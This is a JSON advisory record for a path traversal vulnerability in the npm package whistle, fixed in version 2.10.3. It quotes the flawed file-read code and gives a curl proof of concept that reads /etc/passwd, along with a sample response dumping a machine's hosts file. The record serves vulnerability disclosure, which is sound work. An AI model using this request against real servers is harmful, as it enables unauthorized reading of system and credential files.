{"id":"GHSA-3vfr-4gwf-qxfp","revision":"ea28f7c915244f2cbcf4e016446a3a87","records":[{"revision":"ea28f7c915244f2cbcf4e016446a3a87","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-3vfr-4gwf-qxfp","aliases":["CVE-2026-55629"],"title":"Whistle vulnerable to path traversal","description":"This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.\n\n**Vulnerability detail**:\n\nIn service.js, inside \n`app.get('/cgi-bin/temp/get', ...):\nvar filename = req.query.filename;\nif (TEMP_FILE_RE.test(filename)) {\n  filename = path.join(TEMP_FILES_PATH, filename);\n}\ngetFile(filename, ...);`\n\n\nOnly when filename matches the temp/<hash> pattern does it get joined to the safe directory TEMP_FILES_PATH.\n\nIf it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.\n\nIn other words: if you pass passwd, it will read passwd.\n\n**POC**:\ncurl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd\"\n\n**response**:\n\n``` sh\nxiaoming@192 ~ % curl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts\"\n{\"ec\":0,\"value\":\"##\\n# Host Database\\n#\\n# localhost is used to configure the loopback interface\\n# when the system is booting.  Do not change this entry.\\n##\\n127.0.0.1\\tlocalhost\\n255.255.255.255\\tbroadcasthost\\n::1             localhost\\n199.232.68.133 raw.githubusercontent.com\\n199.232.68.133 user-images.githubusercontent.com\\n199.232.68.133 avatars2.githubusercontent.com\\n199.232.68.133 avatars1.githubusercontent.com\\n127.0.0.1 lanyundev.com\\n\\n127.0.0.1 www.proxifier.com\\n127.0.0.1  proxifier.com\\n140.82.116.4 github.com\\n\\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\\n127.0.0.1\\tlocalhost.sangfor.com.cn\\n\\n\"}% \n```","state":0,"publishedAt":"2026-08-25T18:32:06+00:00","modifiedAt":"2026-08-26T00:54:29.2620256+00:00","affected":[{"ecosystem":"npm","name":"whistle","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.10.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp","https://nvd.nist.gov/vuln/detail/CVE-2026-55629","https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5","https://github.com/avwo/whistle","http://github.com/avwo/whistle/releases/tag/v2.10.3"],"sourceUrl":"https://github.com/advisories/GHSA-3vfr-4gwf-qxfp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-3vfr-4gwf-qxfp","identifiers":["GHSA-3vfr-4gwf-qxfp","CVE-2026-55629"]},"retained":false,"historicalAffected":[]}],"coverage":[]}